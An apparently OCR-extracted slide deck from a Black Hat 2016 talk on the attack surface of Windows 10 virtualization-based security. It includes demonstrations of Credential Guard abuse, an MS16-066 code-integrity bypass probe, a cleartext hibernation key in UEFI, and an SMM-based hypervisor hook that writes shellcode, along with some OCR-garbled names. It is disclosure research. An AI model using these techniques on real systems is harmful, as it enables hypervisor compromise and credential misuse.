#### black hat USA 2016 Rafal Wojtczuk rafal@bromium.com



ANALYSIS OF THE ATTACK SURFACE OF WINDOWS 10 VIRTUALIZATION-BASED SECURITY

JULY 30 - AUGUST 4, 2016 / MANDALAY BAY / LAS VEGAS



# Agenda

- Short reminder on VBS architecture
- Credential Guard properties and internals
- HV Code Integrity properties and internals
- Hyper-V security/complexity/attack surface
- More details in the whitepaper





- Most of this research done with W10 1511
- Intel's hardware (when hw mentioned)
- Mixed original, little-known and well-known content













Picture taken from BH2015 Microsoft presentation



#### Mimikatz fails on CG-protected box





#### CG scenario 1

- Admins just enabled CG in Group Policy
- No further hardening
- Easy to deploy



#### CG RPC interface

2	.rdata:000000014002D4E0 off_14002D4E0	dq	offset	NtlmIumGetContext
	.rdata:000000014002D4E0	-		; DATA XREF: .rdata:000000140034E18to
	.rdata:000000014002D4E8	dq	offset	NtlmIumProtectCredential
	.rdata:000000014002D4F0	dq	offset	Nt1mIumLm20GetNt1m3ChallengeResponse
	.rdata:000000014002D4F8	dq	offset	NtlmIumCalculateNtResponse
	.rdata:000000014002D500	dq	offset	Nt1mIumCalculateUserSessionKeyNt
	.rdata:000000014002D508	dq	offset	NtlmIumPasswordValidateInteractive
	.rdata:000000014002D510	dq	offset	NtlmIumPasswordUalidateNetwork
	.rdata:000000014002D518	dq	offset	NtlmIumIsGMSACred
	.rdata:000000014002D520	dq	offset	NtlmIumMakeSecretPasswordNT5
	.rdata:000000014002D528	dq	offset	NtlmIumCompareCredentials
	.rdata:000000014002D530	dq	offset	NtlmIumDecryptDpapiMasterKey
	.rdata:000000014002D538	dq	offset	NtlmIumGenerateRootSecret
	.rdata:000000014002D540	dq	offset	NtlmIumCheckRootSecretValidity
	.rdata:000000014002D548	dq	offset	NtlmIumGetStrongCredentialKey
	.rdata:000000014002D550	dq	offset	NtlmIumUpdateSharedConfiguration
	.rdata:000000014002D558	dq	offset	NtlmIumMakeOwfsFromIumSupplementalCredential
	.rdata:000000014002D560	dq	offset	NtlmIumMakeOwfsFromIumEncryptedPassword
1	.rdata:000000014002D568	dq	offset	NtlmIumConvertCredManPasswordToSupplementalCredential

Lsalso trustlet, running in VTL1, exposes the above functions via RPC over ALPC port \RPC Control\LSA\_ISO\_RPC\_SERVER



#### NtlmlumProtectCredential

- Input (from Isass.exe): plaintext credentials
- Output (from Lsalso.exe) : blob with encrypted credentials



# NtlmlumLm20GetNtlm3Challen geResponse

- Input (from Isass.exe): blob with encrypted credentials + NTLM challenge
- Output (from Lsalso.exe): NTLM response



#### Scenario 1 properties

- After logon, no cleartext credentials in Isass
- While user is logged in, lsass will auth to remote servers automatically (SSO), for attacker as well
- If attacker collects encrypted blob, he can force Lsalso to auth even after logout (until reboot)
- Demo

# Credentials during logon ?

- There is still a problem with how the unencrypted credentials are initially delivered to VTL1 (which happens during logon)."rundll32.exe user32.dll,LockWorkStation".
- If not using smart-card based authentication, then the plaintext credentials can be captured by keylogger and used anywhere, anytime.
- In case of smart-card based authentication, the NTOWF hashes sent by KDC can be captured and reused.



#### CG scenario 2

- Credential Guard with armor key protection and smartcard-based authentication
- Nontrivial deployment challenge
- Possible to enable without TPM, but in such case no real advantage







Picture taken from BH2015 Microsoft presentation



#### Scenario 2 properties

- No more cleartext creds in Isass, ever
- Still, as before, until reboot, attacker can interact with CG and have it perform all SSOsupported authentications for remote resources
- There is no reliable way to deliver "user has logged out, refuse future SSO" message to VTL1

![](_page_15_Picture_0.jpeg)

### CG properties summary

- Even in the most hardened configuration, once attacker has SYSTEM privileges, they can silently authenticate as logged-in user to remote servers, from the compromised machine, until reboot
- No more classical pass-the-hash but attackers can adapt and start lateral movement from the same machine, until reboot
- In classical pass-the-hash, one can reuse stolen hashes anytime, from anywhere – thus CG is an improvement
- Again, no hypervisor compromise required for the above attack, just root partition compromise

![](_page_16_Picture_0.jpeg)

### VBS-enforced code integrity

- Windows 10 can enforce code integrity of usermode binaries, usermode scripts and kernelmode code; the latter via VBS
- We focus on kernelmode case
- The goal not allow execution of any unsigned code in kernel context, even if the kernel has been compromised

![](_page_17_Picture_0.jpeg)

### VBS-enforced code integrity

- Basic idea: trusted code (running in VTL1) agrees to grant execute rights in EPT tables of the root partition only for pages storing signed code
- No such page can be both writable and executable

# Mixing signed & unsigned code

- Common configuration: unsigned usermode code allowed, unsigned kernelmode denied
- Usermode wants to execute unsigned code at C –VTL1 must grant execute right for C in EPT
- Usermode switches to kernelmode, and jumps to C

### Kernel HVCI is based on secvisor

- Separate EPT for code originating from signed and unsigned page
- Root partition is configured so that any attempt by unsigned usermode code to enter kernelmode results in vmexit (and EPT flip)

-IDT, GDT limits set to 0, syscall&sysenter disabled

# Kernel HVCI and kernel exploits

- Attackers love arbitrary code running in ring0
- SMEP a problem, but natural bypass:
  - Get ROP capability, then clear CR4.SMEP
  - Or, via write-what-where, clear U/S bit in PT
  - Run your arbitrary code
- Not working with Kernel HVCI !
- Also, cannot hook kernel code, at least not directly
- Data-only exploits, or ROP-only, still fine

# Kernel HVCI bypass, MS16-066

- Before MS16-066 fix, there are some pages with RWX permission in root partition (kernelmode) EPT
- Likely artifacts of early boot phase
- Attacker can find them by probing each physical page for write and execute, in ring0

![](_page_22_Picture_0.jpeg)

🔤 Command Prompt

### Kernel HVCI bypass, MS16-066

C:\Users\testuser\probex>probex 0xf000000 2000000
ntoskrnl.exe at FFFF802EDA82000
tryexcept at FFFF802EDE5E292
kthread at FFFFE000E6CBC080
stack\_base=FFFFD000769C5000 limit=FFFFD000769CB000
starting phys mem probe:
0xf000000-0x10000000 (size 0x1000000): not rwx
0x10000000-0x10157000 (size 0x157000): rwx
0x10157000-0x11000000 (size 0xea9000): not rwx

#### C:\Users\testuser\probex>

Select Platform Security Level: Secure Boot Enable Virtualization Based Protection of Code Integrity Creation Cortana. Ask me anything. This setting enables virtualization based protection of Kernel Mode Code Integrity, When this is enabled kernel mode memory protections are enforced and the Code Integrity validation path is protected by the virtualization based security feature. Warning: All drivers on the system must be compatible with this feature or the system must be

![](_page_23_Picture_0.jpeg)

![](_page_23_Picture_1.jpeg)

# **HYPERV-V SECURITY**

# [Un]usual threat model

- Usual model: hypervisor must be resistant to attacks coming from unprivileged, worker VMs
- Without VBS, root partition is semi-trusted; it can compromise Hyper-V (no big deal) because
  - -HvCallDisableHypervisor hypercall
  - -Cleartext hiberfile
  - -VTd not enabled
- With VBS, the threat comes from the root partition

![](_page_25_Picture_0.jpeg)

#### Necessary support

- Secureboot
  - many vulnerabilities in the past allowing secureboot bypass
- VTd
  - without it, possible to overwrite hypervisor via DMA
- TPM
  - needed to secure S4, see below

![](_page_26_Picture_0.jpeg)

- Access to privileged hypercalls
  - Hypervisor Top-Level Functional Specification mentions 14 hypercalls usable by nonprivileged VM, and 67 privileged hypercalls. More hypercalls exist, entirely undocumented.
- Possible to overlook some dangerous functionality, or e.g. memory corruption bug

![](_page_27_Picture_0.jpeg)

- Access to almost all physical memory range
  - -Without pages allocated for Hyper-V and VTL1
  - -Including
    - chipset and PCIe MMIO
    - ACPI NVS

-LAPIC and VTd bars not accessible

![](_page_28_Picture_0.jpeg)

- I/O ports: all available except:
- 32, 33 (PCH interrupt controller), 160, 161 (same)
- 0x64, lpc microcontroller (A20 gate)
- 0xcf8, 0xcfc-0xcff PCI config space
- 0x1804. It is PMBASE+4 == PM1\_CNT, it holds the SLP\_EN bit, that triggers S3 sleep; see below

![](_page_29_Picture_0.jpeg)

- MSR none available directly except :
- three SYSENTER MSRS
- fs/gs/shadow gs base
- So, Hyper-V has at least a chance to react properly

### Problem 1 – unfiltered MMCFG

- MMCFG is a region of physical address space; access to it results in PCIe config space access
  - Device-specific registers, memory bars locations
- REMAP\_LIMIT/REMAP\_BASE are locked
- Overlapping RAM with PCIe memory bar does not work
- Anything else interesting we can overlap/cover ?

![](_page_31_Picture_0.jpeg)

### Overlap VTd bars

```
[root@haswell bh16]# cp /sys/firmware/acpi/tables/DMAR .
[root@haswell bh16]# iasl -d DMAR >/dev/null
Loading Acpi table from file DMAR
Acpi Data Table [DMAR] decoded
Formatted output: DMAR.dsl - 5488 bytes
[root@haswell bh16]# grep -i register DMAR.dsl
[038h 0056 8] Register Base Address : 00000000FED90000
             Register Base Address : 00000000FED91000
[050h 0080 <u>8</u>]
[root@haswell bh16]# ./rdmem 0xfed90000
phys memory at 0xfed90000: 0x00000010 0x00000000 0x20660462 0x00c00000
[root@haswell bh16]# ./rdmem 0xfed91000
phys memory at 0xfed91000: 0x00000010 0x00000000 0x20660462 0x00d20080
[root@haswell bh16]# setpci -s 0:2.0 0x10.l
f5800004
[root@haswell bh16]# setpci -s 0:2.0 0x10.l=0xfed90004; ./rdmem 0xfed90000; setpci -s 0:2.0 0x10.l=0xf5800004
[root@haswell bh16]# setpci -s 0:2.0 0x10.l=0xfed91004; ./rdmem 0xfed91000; setpci -s 0:2.0 0x10.l=0xf5800004
[root@haswell bh16]#
```

But write access hangs the tested platform  $\Theta$ 

### Problem 2 – chipset registers

- Some memory-mapped regions, e.g. in MCHBAR, have thousands of registers, most of them undocumented at all
- Are all of them locked ? Anything evil can be done ?
- I do not know

![](_page_33_Picture_0.jpeg)

# S3 sleep

- S3 is fragile from security POV
- Boot script hijack vulnerability from 2014 could be used to take control over the hypervisor

- likely all firmware makes were affected

More potential attacks via S3 thinkable (see the whitepaper)

![](_page_34_Picture_0.jpeg)

# S4 sleep

- S4 is even more fragile from security POV
- Need to protect integrity of hiberfile
- With VBS, it is encrypted
- Need to keep the key secret
- If TPM available, the key is sealed to TPM
- If no TPM, then the key is cleartext in UEFI variable

**A** black hat USA 2016

#### S4 is insecure without TPM

1729620: 00 4e 56 41 52 0b 00 ff ff ff 1729630: 00 88 01 ....NVAR..... 1729640: 4e 56 41 52 0c 00 0c 00 00 88 00 00 4e 56 NVAR....NVAR 41 52 1729650: Oc 00 f6 02 00 88 00 10 4e 56 41 52 ae 00 ff ff ....NVAR.... 1729660: ff 02 2f 56 73 6d 4c 6f 63 61 6c 4b 65 79 32 00 ../VsmLocalKey2 1729670: 4c 4b 45 59 50 4b 47 31 96 00 LKEYPKG1..... 00 00 01 00  $01 \ 00$ 1729680: 2c 00 00 00 01 00 01 00 01 00 00 00 21 19 e8 7b , . . . . . . . . . . . ! . . } 1729690: 48 67 31 2e 86 cb b4 63 81 37 bc 41 3e 1c bc 5d Hg1....c.7.A>..] 17296a0: b5 ad ad 51 dd 43 3b f4 84 f7 4b 88 5a 00 00 00 ...Q.C;...K.Z... 00 00 00 00 00 00 00 00 17296b0: 01 0000 00 5c 6c 1a 00 00 00 00 00 17296c0: 00 00 00 00 00 00 00 00 62 6b a5 00 ....bk.. 00 00 00 00 00 01 00 00 00 17296d0: 00 00 00 00 00 00 00 . . . . . . . . . . . . . . . . . 00 00 01 00 00 17296e0: 00 00 00 00 00 00 00 00 37 00 00 . . . . . . . . . . . . . . . 7 . . . 17296f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 . . . . . . . . . . . . . . . . . 00 ff 03 1729700: 00 00 01 00 00 4e 56 41 52 1c 00 ff ....NVAR..... 1729710: 32 42 75 67 43 68 65 63 6b 43 6f 64 65 00 1a 00 2BugCheckCode... 1729720: 00 4e 56 41 52 26 00 ff 03 42 75 67 ...NVAR&....2Bug 00 32 50 1729730: 68 65 63 6b 61 72 61 6d 65 65 31 00 CheckParameter1. ff ff ....NVAR ... 1729740: 01 12 04 00 00 00 00 00 4e 56 41 52 20 00 ff 6f 03 32 42 75 67 43 68 65 63 6b 50 72 67 72 ...2BugCheckProgr 1729750: 1720760, EE 72 72 00 01 00 00 00 40 EE 41 

![](_page_36_Picture_0.jpeg)

#### SMM

- SMM is highly-privileged mode of CPU, unrestricted by hypervisor
- Usually, firmware vendors pack quite some services in SMM; they can be invoked by write to I/O port 0xb2
- A lot of bugs in SMM found recently

![](_page_37_Picture_0.jpeg)

#### SMM code tends to be buggy

![](_page_37_Picture_2.jpeg)

#### У f G in 💩 🕅

Welcome > Blog Home > Vulnerabilities > Scope of ThinkPwn UEFI Zero Day Expands

![](_page_37_Picture_5.jpeg)

by Michael Mimoso Y Follow @mike\_mimoso

![](_page_38_Picture_0.jpeg)

#### SMM

- It is well-known that SMM vulnerability can be used to compromise a hypervisor in runtime
  - BTW, secureboot as well
- VBS allows direct access to I/O port 0xb2, as well as to ACPI NVS
- Intel researchers demoed searching VTL1 memory for password hashes

![](_page_39_Picture_0.jpeg)

![](_page_39_Picture_1.jpeg)

testuser@DESKTOP-W10 /c/Users/testuser/projects/bh16

\$ tasklist | grep -i iso

LsaIso.exe

812 Services

0 3,108 K

testuser@DESKTOP-W10 /c/Users/testuser/projects/bh16

\$ ./smm31.exe scan 0 2>/dev/null >scan.txt

testuser@DESKTOP-W10 /c/Users/testuser/projects/bh16

\$ tail -4 scan.txt VMCS at 0x8d4d000: host: rip=FFFFF8000809011E cr3=0000000007C9000 ept=000000006A7201E guest: rip=FFFFFFFD05000 cr3=0000000001AB000 cr4=00000000001526F8 VMCS at 0x8d4f000: host: rip=FFFFF8000809011E cr3=00000000007C9000 ept=0000000006A7901E guest: rip=FFFFF8000809011E cr3=000000000121B000 cr4=000000000026F8

testuser@DESKTOP-W10 /c/Users/testuser/projects/bh16

\$ wc -l scan.txt 32 scan.txt

![](_page_40_Picture_0.jpeg)

#### SMM abuse example

```
testuser@DESKTOP-W10 /c/Users/testuser/projects/bh16
$ cat hyperhook_cpuid.c
#include <stdint.h>
#include "regsh.h"
#include "vmx.h"
```

```
void hook_c(struct regs * regs)
```

if (do\_vmread(VM\_EXIT\_REASON) == EXIT\_REASON\_CPUID &&
 regs->r13 == 0xAABBCCDDAABBCCDDULL)
 regs->r13 = 0x1122334411223344ULL;

#### testuser@DESKTOP-W10 /c/Users/testuser/projects/bh16

![](_page_41_Picture_1.jpeg)

ALVIN' IN

\$ head -1 scan.txt

VMCS at 0x01fb000: host: rip=FFFF8000809011E cr3=0000000007C9000 ept=000000006A7201E

#### testuser@DESKTOP-W10 /c/Users/testuser/projects/bh16

\$ ./smm31.exe readv FFFFF8000809011E 000000007C9000 2>/dev/null
vwalk: level 0 ptbase 000000007C9000 pte 000000007CD023
vwalk: level 1 ptbase 0000000007CD000 pte 0000000007CF023
vwalk: level 2 ptbase 0000000007CF000 pte 0000000040001A1
va FFFFF8000809011E -> pa 00000000409011E
4C8B4828244C8948

#### testuser@DESKTOP-W10 /c/Users/testuser/projects/bh16

\$ ./magic\_cpuid.exe
before cpuid: r13=AABBCCDDAABBCCDD; after cpuid: r13=AABBCCDDAABBCCDD

#### testuser@DESKTOP-W10 /c/Users/testuser/projects/bh16

\$ ./smm31.exe hyperhook FFFF8000809011E 00000000409011E 2>/dev/null
now=4C8B4828244C8948 write 4C8B48FFF6FEDDE9 pbase=000000004000000
shsize=0x2000

shellcode written to phys 000000004000000

#### testuser@DESKTOP-W10 /c/Users/testuser/projects/bh16

\$ ./magic\_cpuid.exe
before cpuid: r13=AABBCCDDAABBCCDD; after cpuid: r13=1122334411223344

![](_page_42_Picture_0.jpeg)

### Summary

- Despite its limited scope, VBS is useful
- A lot of effort by MS to make it as secure as possible; still, unusual attack surface
- VTd, TPM strictly necessary (with secureboot)
- SMM vulnerabilities the greatest threat

![](_page_43_Picture_0.jpeg)

![](_page_43_Picture_1.jpeg)

#### Questions ?

A black hat USA 2016

# Extra slides: Non-VBS-specific threats

- CPU erratas
- Rowhammer
- Flashable discrete hardware

![](_page_45_Picture_0.jpeg)

#### VTL1 attack surface

- RPC services implemented in Lsalso (including RPC demarshalling code)
- 48 services implemented in securekernel!lumInvokeSecureService (called by nt! HvlpEnterlumSecureMode)
- VTL1 extensively calls into VTL0 to use some services – need to sanitize all responses

# Other funny chipset capabilities

- E.g. chipset can program DRAM SPD
- Capability locked by sane BIOS

![](_page_46_Figure_4.jpeg)

Picture taken from Wikipedia article on Serial Presence Detect